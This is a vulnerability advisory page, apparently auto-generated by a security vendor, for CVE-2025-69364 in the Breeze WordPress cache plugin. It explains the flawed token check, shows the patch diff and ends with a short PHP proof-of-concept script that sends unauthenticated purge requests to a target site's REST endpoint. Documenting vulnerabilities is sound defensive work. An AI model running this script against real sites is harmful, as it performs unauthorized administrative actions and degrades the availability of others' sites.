Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69364: Breeze <= 2.2.21 – Missing Authorization (breeze)

Plugin breeze
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.2.21
Patched Version 2.2.22
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69364:
The Breeze WordPress cache plugin, versions up to and including 2.2.21, contains a missing authorization vulnerability in its REST API cache purge endpoint. This flaw allows unauthenticated attackers to trigger a cache purge operation, which is a privileged administrative action.

The root cause is a flawed conditional authorization check in the `breeze_clear_cache` function within the `class-breeze-api.php` file. The function checked if the `breeze-secure-api` option was enabled and if a provided `key` parameter matched a stored token. However, the logic allowed the function to proceed if the `breeze-secure-api` option was disabled, regardless of the token’s validity. The vulnerable code at line 28 performed the check `if ( $this->options[“breeze-secure-api”] && $this->options[“breeze-api-token”] != $request->get_param( ‘key’ ) )`. This meant that when `breeze-secure-api` was set to ‘0’, the entire condition evaluated to false, bypassing the token verification and the 403 error response.

An attacker exploits this by sending a GET or POST request to the WordPress REST API endpoint `/wp-json/breeze/v1/cache`. No authentication cookies, nonces, or user sessions are required. The attacker only needs to ensure the target site has the Breeze API enabled. The request can be sent with or without a `key` parameter, as the vulnerable logic will ignore it when the insecure default configuration is in place.

The patch removes the `breeze-secure-api` configuration option entirely. The fix deletes the conditional check for this option in `class-breeze-api.php` line 28, changing it to `if ( $this->options[“breeze-api-token”] != $request->get_param( ‘key’ ) )`. This makes token verification mandatory for all API requests. The patch also removes the `breeze-secure-api` option from the plugin’s database schema, default settings, admin interface, and configuration files, as shown by the deletions across `breeze.php`, `breeze-admin.php`, `breeze-configuration.php`, and `advanced-tab.php`. The token generation length was also increased from 12 to 32 characters.

Successful exploitation allows an unauthenticated attacker to purge the site’s cache. This constitutes a denial-of-service condition by removing cached pages, forcing the server to regenerate content and increasing load. Repeated attacks can degrade site performance and availability. The attack also represents an unauthorized administrative action, violating the integrity of the site’s caching system.

Differential between vulnerable and patched code

Code Diff
--- a/breeze/breeze.php
+++ b/breeze/breeze.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Breeze
  * Description: Breeze is a WordPress cache plugin with extensive options to speed up your website. All the options including Varnish Cache are compatible with Cloudways hosting.
- * Version: 2.2.21
+ * Version: 2.2.22
  * Text Domain: breeze
  * Domain Path: /languages
  * Author: Cloudways
@@ -37,7 +37,7 @@
 	define( 'BREEZE_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
 }
 if ( ! defined( 'BREEZE_VERSION' ) ) {
-	define( 'BREEZE_VERSION', '2.2.21' );
+	define( 'BREEZE_VERSION', '2.2.22' );
 }
 if ( ! defined( 'BREEZE_SITEURL' ) ) {
 	define( 'BREEZE_SITEURL', get_site_url() );
@@ -160,7 +160,6 @@
 $api_enabled = Breeze_Options_Reader::get_option_value( 'breeze-enable-api' );
 if ( $api_enabled ) {
 	$options = array(
-		'breeze-secure-api' => Breeze_Options_Reader::get_option_value( 'breeze-secure-api' ),
 		'breeze-api-token'  => Breeze_Options_Reader::get_option_value( 'breeze-api-token' ),

 	);
--- a/breeze/inc/breeze-admin.php
+++ b/breeze/inc/breeze-admin.php
@@ -747,7 +747,6 @@
 			'breeze-store-facebookpixel-locally'   => '0',
 			'breeze-store-gravatars-locally'       => '0',
 			'breeze-enable-api'                    => '0',
-			'breeze-secure-api'                    => '0',
 			'breeze-api-token'                     => $token,
 		);
 		$default_data['advanced'] = array_merge( $default_advanced, $advanced );
--- a/breeze/inc/breeze-configuration.php
+++ b/breeze/inc/breeze-configuration.php
@@ -384,7 +384,6 @@
 			'breeze-store-facebookpixel-locally'   => ( isset( $_POST['breeze-store-facebookpixel-locally'] ) ? '1' : '0' ),
 			'breeze-store-gravatars-locally'       => ( isset( $_POST['breeze-store-gravatars-locally'] ) ? '1' : '0' ),
 			'breeze-enable-api'                    => ( isset( $_POST['breeze-enable-api'] ) ? '1' : '0' ),
-			'breeze-secure-api'                    => ( isset( $_POST['breeze-secure-api'] ) ? '1' : '0' ),
 			'breeze-api-token'                     => sanitize_text_field( $breeze_api_token ),
 		);

@@ -1814,7 +1813,7 @@
 	 * @return string
 	 * @throws Exception
 	 */
-	public function breeze_generate_token( $length = 12 ) {
+	public function breeze_generate_token( $length = 32 ) {
 		$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
 		$token      = '';

@@ -1954,7 +1953,6 @@
 			'cached-query-strings' => array(),
 			'breeze-wp-emoji'      => '0',
 			'breeze-enable-api'    => '0',
-			'breeze-secure-api'    => '0',
 			'breeze-api-token'     => $token,
 		);
 		$default_heartbeat = array(
--- a/breeze/inc/class-breeze-api.php
+++ b/breeze/inc/class-breeze-api.php
@@ -25,7 +25,7 @@

 	public function breeze_clear_cache( $request ) {

-		if ( $this->options["breeze-secure-api"] && $this->options["breeze-api-token"] != $request->get_param( 'key' ) ) {
+		if ( $this->options["breeze-api-token"] != $request->get_param( 'key' ) ) {
 			// Access is denied, set status code to 403 (Forbidden)
 			$status_code   = 403;
 			$response_data = array(
--- a/breeze/inc/wp-cli/class-breeze-settings-import-export.php
+++ b/breeze/inc/wp-cli/class-breeze-settings-import-export.php
@@ -476,7 +476,6 @@
 				'breeze-store-facebookpixel-locally'   => ( isset( $options['breeze-store-facebookpixel-locally'] ) ? $options['breeze-store-facebookpixel-locally'] : '0' ),
 				'breeze-store-gravatars-locally'       => ( isset( $options['breeze-store-gravatars-locally'] ) ? $options['breeze-store-gravatars-locally'] : '0' ),
 				'breeze-enable-api'                    => ( isset( $options['breeze-enable-api'] ) ? $options['breeze-enable-api'] : '0' ),
-				'breeze-secure-api'                    => ( isset( $options['breeze-secure-api'] ) ? $options['breeze-secure-api'] : '0' ),
 				'breeze-api-token'                     => ( isset( $options['breeze-api-token'] ) ? $options['breeze-api-token'] : '' ),

 			);
@@ -713,7 +712,6 @@
 			'breeze-preload-links'                 => '1',
 			'breeze-wp-emoji'                      => '0',
 			'breeze-enable-api'                    => '0',
-			'breeze-secure-api'                    => '0',
 			'cdn-active'                           => '0',
 			'cdn-relative-path'                    => '1',
 			'auto-purge-varnish'                   => '1',
--- a/breeze/views/option-tabs/advanced-tab.php
+++ b/breeze/views/option-tabs/advanced-tab.php
@@ -59,7 +59,7 @@
 				$placeholder_never_cache_url = 'Exclude Single URL:
https://demo.com/example/

Exclude Multiple URL using wildcard
https://demo.com/example/(.*)';
 				?>
 				<textarea cols="100" rows="7" id="exclude-urls" name="exclude-urls"
-						  placeholder="<?php echo esc_attr( $placeholder_never_cache_url ); ?>"><?php echo $never_cache_urls; ?></textarea>
+							placeholder="<?php echo esc_attr( $placeholder_never_cache_url ); ?>"><?php echo $never_cache_urls; ?></textarea>
 				<div class="br-note">
 					<p>
 						<?php
@@ -98,7 +98,7 @@
 				$placeholder_cache_query_str = 'Include Single Query String:
city

Include Multiple Query Strings using wildcard
city(.*)';
 				?>
 				<textarea cols="100" rows="7" id="cache-query-str" name="cache-query-str"
-						  placeholder="<?php esc_attr_e( $placeholder_cache_query_str ); ?>"><?php echo $cached_query_strings; ?></textarea>
+							placeholder="<?php esc_attr_e( $placeholder_cache_query_str ); ?>"><?php echo $cached_query_strings; ?></textarea>
 				<div class="br-note">
 					<p>
 						<?php
@@ -132,7 +132,7 @@
 				<div class="on-off-checkbox">
 					<label class="br-switcher">
 						<input id="breeze-wpjs-emoji" name="breeze-wpjs-emoji" type="checkbox" class="br-box"
-							   value="1" <?php echo $is_enabled; ?>>
+								value="1" <?php echo $is_enabled; ?>>
 						<div class="br-see-state">
 						</div>
 					</label><br>
@@ -171,8 +171,8 @@
 				<div class="on-off-checkbox">
 					<label class="br-switcher">
 						<input id="breeze-store-googlefonts-locally" name="breeze-store-googlefonts-locally"
-							   type="checkbox" class="br-box"
-							   value="1" <?php echo $is_enabled; ?>>
+								type="checkbox" class="br-box"
+								value="1" <?php echo $is_enabled; ?>>
 						<div class="br-see-state">
 						</div>
 					</label><br>
@@ -191,8 +191,8 @@
 				<div class="on-off-checkbox">
 					<label class="br-switcher">
 						<input id="breeze-store-googleanalytics-locally" name="breeze-store-googleanalytics-locally"
-							   type="checkbox" class="br-box"
-							   value="1" <?php echo $is_enabled; ?>>
+								type="checkbox" class="br-box"
+								value="1" <?php echo $is_enabled; ?>>
 						<div class="br-see-state">
 						</div>
 					</label><br>
@@ -211,8 +211,8 @@
 				<div class="on-off-checkbox">
 					<label class="br-switcher">
 						<input id="breeze-store-facebookpixel-locally" name="breeze-store-facebookpixel-locally"
-							   type="checkbox" class="br-box"
-							   value="1" <?php echo $is_enabled; ?>>
+								type="checkbox" class="br-box"
+								value="1" <?php echo $is_enabled; ?>>
 						<div class="br-see-state">
 						</div>
 					</label><br>
@@ -231,8 +231,8 @@
 				<div class="on-off-checkbox">
 					<label class="br-switcher">
 						<input id="breeze-store-gravatars-locally" name="breeze-store-gravatars-locally" type="checkbox"
-							   class="br-box"
-							   value="1" <?php echo $is_enabled; ?>>
+								class="br-box"
+								value="1" <?php echo $is_enabled; ?>>
 						<div class="br-see-state">
 						</div>
 					</label><br>
@@ -268,7 +268,7 @@
 				<div class="on-off-checkbox">
 					<label class="br-switcher">
 						<input id="breeze-enable-api" name="breeze-enable-api" type="checkbox" class="br-box"
-							   value="1" <?php echo $is_enabled; ?>>
+								value="1" <?php echo $is_enabled; ?>>
 						<div class="br-see-state">
 						</div>
 					</label><br>
@@ -286,9 +286,6 @@

 		<!-- START OPTION -->
 		<?php
-		$basic_value = isset( $options['breeze-secure-api'] ) ? filter_var( $options['breeze-secure-api'], FILTER_VALIDATE_BOOLEAN ) : false;
-		$is_enabled  = ( isset( $basic_value ) && true === $basic_value ) ? checked( $options['breeze-secure-api'], '1', false ) : '';
-
 		$disable_group_css = '';
 		$disable_overlay   = '';

@@ -300,24 +297,13 @@
 		<div class="br-option-item<?php echo $disable_overlay; ?>">
 			<div class="br-label">
 				<div class="br-option-text">
-					<?php _e( 'Authentication', 'breeze' ); ?>
+					<?php _e( 'Authentication Token', 'breeze' ); ?>
 				</div>
 			</div>
 			<div class="br-option">
-				<!-- Checkbox -->
-				<div class="on-off-checkbox">
-					<label class="br-switcher">
-						<input id="breeze-secure-api" name="breeze-secure-api" type="checkbox" class="br-box"
-							   value="1" <?php echo $is_enabled; ?> <?php echo $disable_group_css; ?>>
-						<div class="br-see-state">
-						</div>
-					</label><br>
-				</div>
-
-
 				<div class="br-note">
-					<p>
-						<?php _e( 'Secure Breeze API Endpoint with authentication key, allowing the ability option to safeguard the purge endpoint from unauthorized access. Use the option below to autogenerate a random key.', 'breeze' ); ?>
+					<p style="margin-top:0">
+						<?php _e( 'Authentication is required for the Breeze API Endpoint. Provide an authentication key to secure the purge endpoint from unauthorized access. Use the refresh icon to autogenerate a random key.', 'breeze' ); ?>
 					</p>
 				</div>

@@ -330,11 +316,15 @@
 				?>
 				<div>
 					<input type="text" id="breeze-api-token" name="breeze-api-token"
-						   placeholder="5a1404a010241e0b79aecb67581009d5"
-						   value="<?php echo $api_token_output; ?>"/>
+							placeholder="5a1404a010241e0b79aecb67581009d5"
+							value="<?php echo $api_token_output; ?>"/>
 					<a id="refresh-api-token" title="<?php esc_attr_e( 'Refresh Token', 'breeze' ); ?>">
 						<span class="dashicons dashicons-update"></span>
 					</a>
+					<a style="display: inline-block;color: #11ACDF;  margin-left: 15px;" id="copy-api-token"
+						title="<?php esc_attr_e( 'Copy Token', 'breeze' ); ?>">
+						<span style="font-size: 22px;" class="dashicons dashicons-clipboard"></span>
+					</a>
 				</div>
 				<div class="br-note">

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69364 - Breeze <= 2.2.21 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2025-69364.
 * This script demonstrates unauthorized cache purge via the Breeze plugin REST API.
 * The target must have the Breeze plugin installed (<= v2.2.21) with the API enabled.
 */

$target_url = 'https://example.com'; // CHANGE THIS TO THE TARGET SITE URL

// Construct the vulnerable REST API endpoint
$api_endpoint = rtrim($target_url, '/') . '/wp-json/breeze/v1/cache';

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

// The attack works with or without a 'key' parameter when breeze-secure-api is disabled.
// We send a request without a key to demonstrate the missing authorization.
// Alternatively, a GET request to the endpoint alone is sufficient.
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, []); // Empty POST body

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Analyze the response
if ($http_code === 200) {
    echo "[SUCCESS] Cache purge likely executed. HTTP 200 received.n";
    echo "Response indicates the site is vulnerable to CVE-2025-69364.n";
} elseif ($http_code === 403) {
    echo "[FAIL] Request was forbidden (HTTP 403). The site may be patched or the API is secured.n";
} else {
    echo "[INFO] Received HTTP code: $http_code. The Breeze API may be disabled or the endpoint unreachable.n";
}

// Output the raw response headers and body for inspection
echo "n--- Full Response ---n";
echo $response;
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School